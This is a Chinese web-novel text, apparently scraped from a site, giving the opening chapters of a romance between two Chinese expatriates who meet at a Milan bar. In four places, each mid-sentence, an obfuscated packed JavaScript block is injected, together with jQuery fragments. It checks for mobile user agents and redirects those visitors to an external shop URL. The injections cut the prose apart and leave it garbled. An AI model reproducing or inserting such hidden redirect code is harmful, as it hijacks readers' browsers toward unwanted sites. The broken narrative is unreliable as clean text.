《西风雾潮》
1. Visonni
意大利,23:17,Visonni酒吧。
十一月的米兰阴雨连绵,淅淅沥沥甚至持续一整天,太阳不到下午五点就罢工,夜幕提前降临,沿着屋檐滴落的水便染上了霓虹的光。
波河平原的西北端,高山隔绝了南下的冷空气,但同时也没给北上的暖湿气流留个开口,冷湿空气在这里堆积盘旋,变成消散不开的雾,让这座城市有一种化不开的朦胧感。
吉他演奏的《Le onde》乐声淌至耳边,方锐寻终于回过神来。
他坐在吧台边很久了,面前是杯麦芽威士忌,琥珀色的酒液已经见底,余下的冰球在摇晃的玻璃杯中不断发出碰撞的轻响。
冰凉的液体划过喉咙,此刻却升起一阵辛辣,而杯壁上的雾气却只增不减,指尖在冰凉中有些麻木。
吧台在离舞台不远的地方,于是他缓缓抬头,借着小酒馆昏暗的灯光,试图看清台上那个年轻人的轮廓。
虽说是舞台,但也只是几节台阶高的一小片空地,此时已经快到凌晨,酒吧马上要打烊,这应该是今晚的最后一位歌手。
此刻,眼前这个少年抱着吉他,正弹奏着《Le onde》,他用右脚踩着凳子的横木,另一只脚落地打节拍,和今晚其他两支摇滚乐队演奏的曲目风格迥异。
没理由地,方锐寻烦躁的心绪顿了一下。
他仔细打量面前这个少年,和人们往常看到的歌手不同,他的衣服没有特别的风格,发型也没刻意整理,如果忽略他抱着的那把吉他,甚至让人觉得,他刚从图书馆里出来。
——太过整齐,太过循规蹈矩了。
一件灰色的混纺V领针织衫,简单的白色衬衫,最上面一颗扣子被解开,一条军蓝色的长裤,从膝盖的褶皱可以看出,他通常是坐着。
少年乌黑的头发盖过脖颈,指尖正缓缓扫过琴弦,他微微低头,手中的动作没停,目光正飘忽着落在地面。
——就像此刻流淌出的乐声:一艘飘在洋面上的游艇,没有航向,也不愿驶入港湾。
就这样一直游荡下去,无论明天是晴空万里还是狂风暴雨,它只在乎今晚落在甲板上的月光是否澄澈。
方锐寻在乐声中敏锐地察觉到,少年的指法有些青涩——尤其是当他遇到F大横按时,会特意地改变指法,用相似的和弦代替。
一首《Le onde》结束,酒吧里的人已经走得差不多了,少年抬头扫了一眼,与不远处方锐寻的目光短暂相接,用手把面前略高的话筒往下按,开口道:
“下一首歌《Hallelujah》,是我非常喜欢的歌,虽然还有一些不太熟练.......如果弹错了,就当作没听见过我弹奏这首歌吧。”
这是方锐寻来到意大利后,第一次听到一个陌生人说出中文,他不由自主地握紧了面前冰冷的空酒杯。
异国他乡,深夜的小酒馆,一个陌生演奏者,他站在台上说的短短的一句话,居然让他感受到了一丝异样的亲切。
那不是任何一种他熟悉的方言,就是最标准的普通话,甚至带着一点点北方口音的硬朗,与他柔软的打扮形成一种强烈的反差。
但如同条件反射,方锐寻开始对自己现在的微妙心理变化进行分析,嘴唇不由自主动了起来,但那只是一点呢喃,在乐声中,只有他自己能听到:
“在陌生的文化环境中,因长期语言隔阂及社交匮乏,会产生轻微的文化倦怠,对母语听觉刺激产生心理反应是.......”
这段突然出现的心理分析没全说出口,就被一阵更为汹涌的烦躁淹没,方锐寻没忍住,在心里对自己近乎厌烦地说:
“有完没完了,你他妈就不能消停会吗?”
于是他紧紧地盯住台上地年轻人,此时正唱到副歌部分,他把手在琴弦上轻轻拨开,再次抬头。
目光再次相接。
他看到青年微皱起眉,随后的歌词带着钩子一般,带走了方锐寻原本烦躁的心绪:
“What’s relly going on below?”
这句短短的歌词,也成了方锐寻问自己的问题:
“未来应该何去何从?”
不知道是他故意把节奏慢下来,还是刚喝下去的酒让他有些神志不清,在这首《Ha
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146248|196379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
llelujah》里,方锐寻探查到一声叹息。
演唱结束,台上的青年把吉他小心地放进包,径直向吧台走来,没有再与方锐寻有任何眼神交流。
坐上吧台前的高脚凳,他正欲开口向面前的调酒师说些什么,就听见旁边有个男人开口:
“已经要打烊了。”
听到中文,他明显愣了一瞬,转头扫了一眼身边的男人,礼貌地一点头,回应道:
“我知道——帮我拿一杯水就好,谢谢。”
后半句他并没有继续用中文,而是熟练的意大利语,调酒师去帮他拿水,此刻酒吧已经安静下来,两人离的近,连对方的呼吸声也可以清楚地听到。
昏黄的灯光下,方锐寻刚落下目光,就看到他的左眼下,有一颗小小的泪痣。
青年问道:
“中国人?”
“你可以叫我方锐寻。”
方锐寻嘴角勾出一点若隐若现的笑意,想要抬头再饮一口酒,却突然想起自己的酒杯中只剩下冰块。他感觉到面前的人对自己突如其来的话感到疑惑,于是带着解释的意思说道:
“我有一个弟弟,他很喜欢《Hallelujah》这首歌。”
“我也很喜欢《Hallelujah》,”面前的人一点头,接过调酒师递过来的清水,抿了一口,又开口道:“我是沈叙白。”
“你的弹唱,很有自己的特点。”
沈叙白只是自嘲般笑了一下,继而开口,语气中带着一点玩味,似乎并不相信方锐寻的话:
“谢谢你,不过真的么,我还以为你要说,我弹得很不专业。”
“怎么会?”
“没有人会喜欢不专业的东西,就像最开始的那首《Le onde》一样。”
“可.......”方锐寻正欲再说些什么,但话还没出口,面前的青年就已经放下玻璃杯,起身到墙角去拿起自己的吉他包和大衣。
他回头对方锐寻说:“很晚了,方先生,我明天还有课,就不奉陪了。”
玻璃门被推开又自动合上,少年的身影已经消失在巷子的转角。
2. 好巧
离开酒吧的时候,街上已经没什么人了,深夜的米兰总是这样的寂静,方锐寻走到楼下时,忽然停下脚步。
路灯只在他的身边无声地洒下些寂寞的光,并不明白这个男人为什么皱眉,就像是这个季节化不开的雾。
他从夹克兜里拿出手机,在音乐软件的搜索引擎中输入《Le onde》。
钢琴声在寂静的夜里格外清晰,但他却觉得奇怪。
差点什么。
想起沈叙白今晚用吉他弹奏出来的《Le onde》,顺着从耳边不断划过的音符,倒觉得他的吉他声中,带了些不一样的东西。
通常情况下,吉他手想要演奏的是一首钢琴曲,通常会尽可能地通过一些技巧还原本来的音效,可沈叙白固执地保留了那些和弦——连同那个并不熟练的F调。
方锐寻听着《Le onde》上楼、开门、挂好外套,却不断回味着晚上在酒吧里听到的版本。
已经忙碌了一天,他着实不再想去分析、探讨些什么,也不想已经让压抑了一晚的焦虑和烦躁再次淹没他,只是没来由地把钢琴曲设置成了自己的手机铃声。
此刻,沈叙白刚打开阁楼的门。
四下寂静无声,门锁落下的声音就格外响。
不知道为什么,他总是会想起今晚的那个男人,那个和他说“很独特”的男人。
他路上纠结,自己是否对这个男人太过无礼了些,或许他并没有要挖苦自己的意思呢?
可他内心又本能地不这样认为,为了让自己停止毫无意义的胡思乱想,他开始坚定最初的那个想法:
“没有人喜欢不完美的东西,还没有练熟练的东西,真是鬼迷心窍了才会放在台面上。”
升腾起的温热水汽氤氲在半空中,也许是今天的课业太多了,导师的批评太过严厉,在图书馆又闷太久,从学校赶过来的时候太过着急......脑子被门夹坏了。
总之一定是自己有病,才会把两首不太熟练的曲子拿出来。
他来米兰已经三年多,无数次光顾Visonni,也作为驻唱歌手上台不少次,对店内经常光顾的面孔了然于心,却从未见过今晚这个男人。
所以.....或许只是巧合?
或许他只是恰巧路过,在店里坐了一会。
应该不会再见了。
Navigli运河的光影不时印在阁楼的窗户上,不远处隐约传来玻璃杯碰撞的轻响。不同语言交织在一起,传来时已经模糊不清,高跟鞋敲击鹅卵石的“咔哒”声越来越小,直至消失。
沈叙白听见楼下的卷闸门被人用力一拉,“刷”的声音过后传来砸地的重响。
像是一颗楔钉,把整个米兰彻底带入深夜。
他躺在床上迷糊着睡去,耳边似乎还在循环放着那首不太熟练的《Hallelujah》,让他有些烦躁地想找到播放器的按钮,但找了一圈却一无所获。
过了一会,他后知后觉地发现,这就是自己演奏出来的乐声。
被代替掉的F大横按太过明显,拨动的神经,让他顿时出了满身冷汗。
于是他挣扎着想要逃离,黑暗中看不出方向,只能无头苍蝇般乱走,可耳边的乐声却越来越大,那按不准的F调大横按变得扭曲,逐渐刺耳起来。
沈叙白无计可施,只能坐下来捂住自己的耳朵,就在此时,他看到了面前十五岁的自己。
父亲怒火冲天地踹开了卧室的门,拖出自己床下的吉他,然后毫不留情地把它摔了个粉碎。
木制碎片被甩到沈叙白脚边,他定定地望着那一地残骸,一句话也说不出。
只是感觉心脏被人紧紧攥住,他却喊不出疼。
挣扎着、奔跑着、逃离着,于是下一秒,他猛然从床上惊醒,阁楼的天花板成了噩梦的结局,过于急促的呼吸昭示着自己刚才做了一个并不美妙的梦。
他伸手够到自己的手机,亮起的屏幕一时有些刺眼,于是眯着眼睛用力看了一下:
凌晨3:15。
不大的阁楼里是自己清晰的呼吸和心跳声,他拉起窗帘向外看,运河边的灯都已经熄灭了,暗色的江景如泼墨般浓稠得化不开。
再次深呼吸,神志终于清晰起来。
沈叙白躺在床上,思索了一下今天的日程,想要逼自己继续睡,可在夜里,思绪反而越发活跃起来。
于是他翻了个身,手指无意识地在冰冷的墙壁上划过,想要把刚才梦里的场景和天亮后将要面对的生活抛到脑后,可眼前却莫名其妙地出现了那个男人的脸。
“你可以叫我方锐寻。”
指尖在黑暗中摸到了墙面上的小坑,于是他用力向下按了按。
“你的弹唱,很有自己的特点。”
不知道为什么,当初酒吧里光线昏暗,加上在一天高压过后的疲惫,他并没有记住那个叫方锐寻的男人说这句话时的表情。
可此刻在他眼前虚幻的光影里,这个男人是笑着的,并不像他所想的那样轻视和不屑,似乎还带着一丝鼓励。
“很......独特吗?”
是真的独特吗?
沈叙白问自己,指尖不再用力,顺着墙壁的纹理继续向下滑,似乎想要在冰冷触感中找出一个清晰的方向。
他似乎确实不是.......挖苦自己?
窗外刮起风,木制房顶发出吱呀的声响,像一阵呻吟。
混乱的思绪中,沈叙白忽然想再见他一次。
就当他是想问清楚那句话的意思。
沈叙白是被自己的闹钟叫醒的。
早晨6:45,他再次睁眼,窗帘下透过微弱光线,疲惫地抹了一把脸,刘海向后薅,坐床上缓了一会,他才逐渐清醒过来。
Navigli运河似乎还在睡梦中,但楼下的咖啡店已经开始营业,醇厚的咖啡香味伴随着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146249|196379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冷风钻入鼻腔,唤醒因早起而麻木的味蕾。
街道被清洗过,鹅卵石路面湿漉漉地泛着苍白的天光,一切井然有序,像一台被设置好程序的机器,有条不紊。
沈叙白匆忙解决掉一块面包,扣好衬衫的扣,拎起昨天穿的深色大衣,背上双肩包转身融入这座城市的运作。
电车进站,轮胎与轨道摩擦出尖锐又沉闷的嘶鸣。
抬手间塞好耳机,沈叙白踏上二号黄线电车,车厢内没有空座,于是他找了一个车厢连接处、不那么挤的角落。
车里弥漫着暖烘烘的、混杂的气味——陈旧的布料座椅、消毒水、烘焙的香味......沈叙白微微皱眉,迅速抿了一口手中的咖啡。
耳机里是一首《Skinny Love》——他非常喜欢的一首歌,也是他希望在下周驻唱时演奏的歌。
这样想着,内心雀跃了几分,他用手指在纸质杯外轻点,模仿和弦弹奏的指法。
被噩梦影响的睡眠并不美妙。
——但至少有这样一个愉悦的瞬间就够了,不是么?
早晨7:55
随着衣着光鲜的人群涌进教学楼,沈叙白在阶梯教室找了一个靠中间的位置,打开笔记本电脑,手指飞动,尝试理解着黑板上的公式,复杂且详细的笔记边缘,偶尔会出现几句短小的歌词。
走神的证明。
教授在讲台上洋洋洒洒地讲解着“风险对冲”,带着口音的意大利语,像熊孩子趁人不注意撒了一把玻璃珠一点,让人手忙脚乱。
这周作业太多,案例分析也更加复杂,沈叙白只好推掉了更多的休息时间,淹没在图书馆的咖啡味里。
只是偶尔,在台灯光线下不由得想起Visonni酒吧,想到了驻唱......
也顺带着想到了.......方锐寻。
他今天来了吗?
这是那天过后,沈叙白第五次想到他。
今天是星期四,距离上一次他到Visonni酒吧已经过去了四天,这四天,他有再去过吗?
可是他去与不去有什么意义?
第二天傍晚,沈叙白终于完成课题分析,他拎着双肩包,踏上回去的路,然后匆忙地带着吉他下楼。
脚步停在了Vsonni的玻璃门前,借着大门的玻璃反光可以隐约看清自己的模样,于是他伸出手,用指尖顺了顺被冷风吹乱的头发。
期待,还是说再也不见?
他自己也说不清。
暖气扑过来,融化了他一路上的寒冷,沈叙白用力吸了一下被冻得麻木的鼻尖,然后定睛朝屋里望去。
吧台边坐着一个男人,从这个角度望去,质料挺括的飞行夹克清晰地勾勒出他平直略宽的肩线,一条腿搭在高脚凳的横木上,另一只腿懒洋洋地伸直。
沈叙白的大脑空白了几秒,他不自觉地低声呢喃了一句:
“好巧。”
3. 差点
这个背影与那天的那个男人十分相像,记忆交叠间,沈叙白忽然有些不知所措。
他甚至不知道自己现在该是什么心情,他又出现在这里,自己应该高兴还是该有其他什么感觉?
怎么不仅心没有落地,反而更乱了呢?
不远处的那个人似乎正低头看着什么,并没有注意到门口进来的人。
沈叙白压下心头的胡思乱想,准备就像那天一样走过去,抬脚间,他已经给自己找好了理由——我就是过去点杯酒而已,又不是去看他,慌张什么?
并且如果对方已经不记得自己的话,那刚好就不用打招呼了。
再或者,自己压根就是认错人了呢?
可当他悄无声息地走近吧台,同时确认自己一点多余的声音都没有发出来,更何况此刻还有乐队在演奏,这个人不可能听到自己的脚步声。
他本就把目光落在那个不确定的背影上,于是当这个男人转头向后看时,他根本来不及隐藏自己的视线。
映入眼帘的是一张熟悉的面孔,沈叙白还没来得及开口,虽然他也不知道该说些什么,没礼貌的窥视有些没藏好,就这样被对方发现,着实有些尴尬。
但对方似乎没有感受到他的尴尬,在对上沈叙白的视线时,方锐寻的眼里便有了不一样的光彩,他微微地笑起来,对沈叙白说:“看来我猜对了。”
既然对方没有对自己的窥视在意,那他也没什么必要尴尬了,于是沈叙白对他点点头,在他身旁坐下,把吉他靠在自己脚边。
不远处的调酒师发现是熟悉的面孔,于是走过来撑着胳膊靠在吧台上,笑道:
“好久不见,Silas。”
“还好吧,上周末不是才见的吗?”
沈叙白笑起来,方锐寻的目光落在他身上,上次见到的那颗泪痣此时正随着他的笑容颤动了一下。
在酒吧里时,这颗痣就像一个小小的句点,余下是大段的留白,让人不由自主地去思考面前的这个人,就像此刻,方锐寻不由自主地想到了刚刚他投射过来的、探寻的目光。
他是在确认什么吗?
“还是老样子吗?”
调酒师问道。
“当然。”
此刻,藤蔓一样紧紧缠绕着他的职业习惯又一次占领了方锐寻的思绪,从沈叙白坐下的那一刻起,他的目光就带着求索的态度紧追着面前这个青年人不放。
沈叙白的双肘松松地架在吧台的边缘,前臂完全放松地搁在台面上,手掌摊开在大理石的台面上,手指虚虚地随着店内正在演奏的音乐打着节拍。
——这是一个完全放松的、高度交付的姿态。
方锐寻正因为自己意识到的这一点有些欣喜,但此刻沈叙白已经调整坐姿转向了他,于是他听到面前的这个青年开口:
“猜什么了?”
方锐寻一时没反应过来他的问题,或许是他刚才把自己所有的注意力都放在观察和分析上,已经忘记了自己在沈叙白进门时说了什么,于是他最本能的反应就是带着困惑问了一声:
“啊?”
沈叙白又笑了起来,他轻轻歪了一下头,对上方锐寻的目光,像是一个长者在辅导孩子的功课那般耐心地提醒道:
“刚才我进来的时候,你和我说,看来你猜对了,所以,猜对了什么?”
“是这个啊。”
方锐寻的唇角显露出一丝笑意,他眯着眼睛抬头抿了一口酒,回答道:
“猜你还会来这里,不过很巧,我猜对了。”
方锐寻抬头的时候,昏暗的灯光打在他的镜片上,光影随着他的动作不断变化,随着昏黄的光在镜片的边缘勾勒出一条金色的边,倒有些遮掩住了他的情绪。
就在这时,调酒师把一杯橙红色的液体推到沈叙白的面前,说道:
“你喜欢的Aperol Spritz。”
“谢谢。”
调酒师朝他一点头,便没再打扰他俩。
两人的距离很近,沈叙白突然想到刚才方锐寻的回头,他好像在等什么人,并且很确定这个人来了,带着好奇,他打算问一问。
——就算自作多情又怎样,反正他们的相遇本身就是偶然。
“是么,那你刚才突然转身,也是巧合吗?”
“那当然不是。”
沈叙白也端起面前的玻璃杯抿了一口,清甜的橙子和淡淡的草本味入口,他突然有点不知道该怎么继续下去这段对话,没发现自己的眉心轻轻皱了一下。
去他来这里干什么么?
可是自己又有什么资格问这句话呢?
退一万步讲,他们也只是刚知道对方名字的陌生人罢了。
真可笑,刚刚自己不还大言不惭地说自作多情又如何吗,怎么能怂成这样。
——可是这一点点微小的动作被方锐寻察觉到了,他似乎感受到了对方的欲言又止,于是在沈叙白还在组织语言的时候就提前开了口:
“我猜,你想问我,来这里干什么,对吗?”
自己的心思被对方敏锐地察觉到,此刻还就这样光明正大地放在台面上,沈叙白一口气卡在喉咙口,内心乱了一拍。
他自以为现在自己的强装镇定镇表现出来一定天衣无缝,于是他按住自己想要往四周躲闪的眼神,大脑飞速地思考要说的话,当然是用来装自己并不是这样想的等等。
“当然不.......”
他刚打好一个不是那么流畅的草稿,虽然心里已经夸赞起自己的演技真好,此刻还镇定自若。
虽然他并不知道自己此刻的耳尖已经红透了。
“不”字还没出口,对方就已经就已经接着刚才的话说了下去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146250|196379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“我只是来碰碰运气,我猜你还会来这里驻唱。”
方锐寻拿着酒杯的手在空中停顿了一下,那是一个敬酒的动作,他笑着扫了一眼沈叙白通红的耳尖,然后像是感叹道:
“看来我运气不错。”
就在这时,方锐寻面前的手机突然响了起来,熟悉的旋律在两人之间不大的空间中响起,沈叙白在意识到的瞬间便愣住了,脸上的笑容也顿时暗淡下去。
是《Le onde》。
对方在他的愣怔中投来一个带着歉意的目光,于是沈叙白勉强勾着嘴角笑了一下,抬手示意他先接电话。
钢琴的旋律停止了,取而代之的是方锐寻冷静的、低声的话音。
这个电话没有持续多久,就算从旋律响起的那一刻算起,也不过两分钟的时间。
可就是这短短的两分钟,沈叙白内心就像是台风过境,把他原本整理好的、或因为时间而被掩埋的思绪重新翻了出来,此刻他似乎有点装不住镇定和游刃有余了。
虽然他本来也没装好。
他很喜欢《Le onde》吗?
那天晚上,他听了自己并不熟练,还改来改去的演奏,到底是什么样的心情?
“你的弹唱,很有自己的特点。”
沈叙白又有点搞不清楚这句话了。
他本能地想跑,想逃避,想让眼前地一切都消失掉。
他并不需要认识什么方锐寻,也可以和他永远是陌生人的关系,再不济,他一个月不来Visonni,反正学业那么沉重,要不了几天,他就能把这个人完全忘掉。
可他却没有动,只是抬起头,这次他在内心的兵荒马乱中忘了隐藏眼里的茫然。
好在时间有限,方锐寻挂断电话转身的一瞬间,似乎就明白了沈叙白在想什么,于是他开口道:
“那天回去,我听了很多遍《Le onde》,我总觉得差了点什么。”
方锐寻把手机放在吧台上,却依旧没有移开自己落在沈叙白身上的视线,他也没有继续卖关子,而是直接说道:
“你赋予了这首歌很不一样的感觉,这是我在听钢琴曲的时候感受不到的。”
“不一样的......感觉?”
“是的,钢琴曲差点感觉。”
差点感觉。
感觉这东西看不见也摸不着,更多情况下,它会被过去的经历不断影响,所以很多时候,人们并不能准确地表达出自己的感觉,只能用模糊的话语来表示它们的不同。
沈叙白还有些愣,开口的时候像是在自言自语,直到方锐寻再次开口。
“所以我在等,你再次演奏这首歌的时候,把铃声换成你演奏的版本。”
沈叙白的内心不再是台风过境,他用力地握了一下手中的玻璃杯。
这是更大的一场海啸。
4. 试探
“所以今晚还能听到《Le onde》吗?”
面前的这个人很真诚,吧台上方落下的灯光映在他黑色的瞳孔上,泛着浅浅的波,方锐寻的目光就这样直白地落到沈叙白眼里。
对方一定不知道他翻江倒海的内心,沈叙白这样想。
“嗯......”沈叙白没想好该怎么回答,事实上他本来并没有今晚再演奏一遍这首曲子的打算,过去的一周太过匆忙,学业并没有给他多少时间练吉他,时隔一周再弹本就不够熟练的《Le onde》,估计会比上周更糟糕吧。
“我很喜欢这首,但也仅限于你弹奏出来的。”
沈叙白面部每一个细微的表情变化都会被方锐寻捕捉到,就算他一句话都不说,方锐寻也可以通过动作来判断他的心理状态。
昏暗的灯光下,沈叙白的瞳孔正微微收缩着,方锐寻很快就意识到,对方可能正强行压抑着自己的某些情感,看似淡定,但视线快速且克制地偏移了一下。
——他想拒绝。
除了拒绝之外,从他微微蹙起的眉间和抿起的嘴唇也能感受到,他还有别的话想说,于是方锐寻没有再说话,只是静静地等待对方开口。
“抱歉.......”
果然,还是拒绝了。
方锐寻的眸光暗了暗,正想开口说没关系等等来缓和一下现在有些尴尬的气氛,对方就借着刚才的话说了下去:
“这周的课太多了,如果下次有机会,我可以弹给你听。”
“好啊”,方锐寻笑起来,拿起杯子把快要见底的酒全部喝完,然后问道:“你还在上学吗?”
“嗯。”沈叙白移开目光,视线落在离吧台不远处的酒柜上,不久前抿的那口酒在口腔里留下一丝淡淡的苦橙和药草香,“在Bocconi读金融学。”
“嗯......是顶尖的学府,本科生?”不知道是不是刚刚喝完的那杯酒起了劲,方锐寻感觉自己的脑子没那么清晰,就连说话都慢了下来。
“硕士。”
“那你很快就能回国了吧”,说到回国,方锐寻突然想到了自己还在国内的弟弟,他和母亲过的还好吗?
“还有两年。”
“那快了......你想家吗?”
这似乎是一个有些幼稚的问题,方锐寻刚问出口就笑了——如果家人都在国内,自己一个人远赴重洋读书,基本上都会想家的吧。
可是令他意外的是,身边的青年只是又抬手喝了一口酒,似乎认真思考了一下这个问题,然后缓缓摇了摇头,沉声道:
“没有。”
沉默在两人之间蔓延开,似乎他们的思绪都各自被什么东西带走了,停顿了将近半分钟,直到沈叙白再次开口:
“那你呢?”
“我吗?”
“你想家吗?”
“有点。”
“是想你弟弟了吗?”
“嗯?”方锐寻有点惊讶,为什么会忽然提到他的弟弟,但不过更多的是欣喜,他居然提起了自己的弟弟。
“第一次见面,你说你弟弟很喜欢《Hallelujah》。”
“哦对”,说到这,方锐寻眼前似乎出现了很多年前,弟弟坐在自己面前弹奏《Hallelujah》的样子。
美好的事情,如果变成回忆的话,也不免会夹杂着一些苦涩。
“你什么时候回去?”
“两年。”
“那很快了,两年就可以回去了。”
“但是现在才过去两个多月,就......”
“很不适应吗?”沈叙白又转身对上他的眼睛,明明从见到方锐寻的第一眼,他就看出,这个男人比他成熟得多,也年长不少,但此刻,他却像是在叮嘱孩童一般说道:“这边的气候和国内不同,刚过来的时候我也不适应。”
特拉蒙塔纳风从阿尔卑斯山脉的隆口呼啸而来,米兰的天空被它刮成一片刺眼的、水洗过的湛蓝,干燥锐利的风中带着雪山的气息,撬开外套搭起的屏障,把身上的保留下的热量全部搜刮走。
“现在呢?”
“现在当然,我来意大利已经三年多了。”
正说着,台上的乐队演奏完了他们的最后一首歌,于是沈叙白笑了笑,起身拎起吉他,解释道:“他们结束了,下一个就是我。”
于是方锐寻抬手,示意他去忙,但视线依旧落在沈叙白身上没有离开。
他看到不远处的青年拿着吉他,笑着和工作人员聊了几句,便走上舞台。
如果说初见沈叙白时,方锐寻觉得他像是强劲北风中的松林,在漫天寒冷的气流中只是发出枝叶摩梭的声响,那此刻他的笑容,就像是迎来春天的北冰洋,阳光经过凹凸不平的冰面的折射,把绚烂的色彩映在边缘。
如此自信明媚的一个人。
沈叙白抱着吉他的时候,眼里总是会有一层不一样的光彩,指尖扫过琴弦,就像在无形中拉动了一条看不见的神经,让他的瞳孔微微放大,如此眼眸也变得更深邃、更清澈。
是一首《Skinny Love》。
一周里,沈叙白总会在通勤的时候听,耳机隔绝了外界的一切,创造了一个只属于他一个人的空间,他可以在这个被音乐包围起来的私密空间里,反复品味每一个音符,每一个和弦,以及他自己夹在在其中的每一丝微妙的情绪。
e on skinny love what happened here.”
“We suckled on the hope in lite brassieres.”
方锐寻就这样把自己的视线更光明正大地放在台上,他自认为像是一个看到糖果的孩童,哪怕一点注意力也不愿分给其他人,只肯不错眼珠地盯着那个正在发糖的人。
沈叙白让他想到很多,台上那个正在演奏的青年,仿佛是时间的投影,他的思绪顺着回忆不断回溯,直到他和另一个少年的身影完全重合。
那是一间老旧的出租屋,就连墙壁也因为时间太过久远而有些发黄,如果仔细听,冰箱运行的声音也可以十分清晰,现在正是一年中最寒冷的时候,冰冷的风把对面人家的对联吹得翘起一大片。
屋外是杭州特有的湿冷,屋内没有暖气,当然也暖和不到哪里去,方锐寻不由得把手再缩进袖子里一点。
可是坐在对面沙发上的弟弟却像是感受不到寒冷,他正兴致勃勃地摆弄着那把吉他——是方锐寻用实习工资给他买的一把吉他。
并不贵,在专业人士看来,这把所谓的吉他必然会被他们归为废品的范畴。
可是弟弟此刻的眼神,就如同是在欣赏一件珍宝,他的身影就被围在这样小小的出租屋中,但眼里的光彩倒显得周围的老旧家具也带着些活泼的气息,用因为不可置信而有些微微颤抖的声音问道:
“哥......这真的是给我的吗?”
再到后来,他常常一个人坐在窗户旁边,摆弄着这把吉他,尝试理解那些繁多且复杂的和弦,让手指上长出茧,让乐声带上他独特的情感。
他曾经给自己的哥哥演奏过很多歌曲,其中他自己最喜欢的那首,就是《Hallelujah》。
从米兰到杭州,跨越九千多公里,将近赤道周长的四分之一。
面前这个青年的演奏,让方锐寻在那个工作不太顺利的夜晚,终于找到了一丝慰藉。
不知不觉,《Skinny Love》的最后一个音符落下,沈叙白的表演结束了。
恍惚间,方锐寻看到刚刚重叠在一起的两个身影分开,然后各自沿着自己的人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146251|196379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生轨迹飞驰而去。
沈叙白收好吉他,在他身边坐下。
“你怎么了?”
“嗯?”
“你好像有些走神。”
方锐寻这才意识到脸上有些茫然的神情,他迅速收好情绪,说道:
“没什么,又有点想到家人了。”
沈叙白轻轻点了一下头,不置可否,然后转移了话题:
“还有个问题你没有回答我。”
“什么?”
“我进门的时候,你突然转身......”
沈叙白正在犹豫该如何措辞,没想到方锐寻就像是一下子洞穿了他的心思,问道:
“你想问,我怎么知道那是你。”
“是。”
此刻,反正自己的问题对方已经知道了,倒也没什么可再遮遮掩掩的,于是沈叙白点了点头,肯定了他的想法。
“你的香水很好闻。”
“香水?”
沈叙白愣了一下,才意识到他在说什么,他轻轻拢了一下大衣的领子,一丝淡淡的龙涎香和雪松的味道钻入鼻腔。
那是Mojave Ghost香水的后调。
“第一次见面的时候,你的身上带着紫罗兰和木兰的花香。”
有点干燥的味道,像是沙漠中一阵无形的风,带着花香但却只能让人感受到它的存在,伸出手,就会从指尖溜走。
“所以你是靠着香水知道我来了?”
“有些事情是没有原因的,这只是一方面,更多的,是我猜你会来。”
所以他回头了很多次,当那一缕有些熟悉的香味被他捕捉到时,便又抱着希望回头看了一次。
这一次,运气挺好。
“已经快十点了,你不回学校吗?”
“我不住在那边。”
“嗯?”
方锐寻略带疑问,脱口而出想要那他住在哪里,但话到嘴边又被拦了下来,他们并不熟悉,甚至连朋友都算不上,这样直接开口也未免太过冒犯。
可能是因为面前的这个人和弟弟太过相像,又或者是他们都喜欢吉他,都喜欢《Hallelujah》,都有一双会在演奏音乐时闪闪发光的眼睛。
也可能是自己在这陌生的城市,因为语言和文化的隔阂,从而不由自主地想要靠近这个人。
总之不管是因为什么,在目前方锐寻内心有些狼狈的日子里,他有点想再了解一些面前的这个人。
“你们Bocconi的学生,不是都很注重效率的吗?”
“当然。”沈叙白似乎知道方锐寻在疑惑什么,对他笑了一下,“可是在我看来,效率和音乐并不冲突,我就住在这附近。”
“那你会经常在这里演出吗?”
“也没有。”
“你很喜欢音乐吗?”
“怎么”,沈叙白没有直接回答这个问题,他把吉他背在身上,整理了一下肩带,脸上还带着笑容,只是方锐寻察觉到了这个笑容和先前的完全不同——他此刻是带着试探的。
停顿了一下,沈叙白接着问出了另一个问题:
“你现在也觉得,我并不是一个好学生吗?”
“为什么会这样想?”
“没什么。”
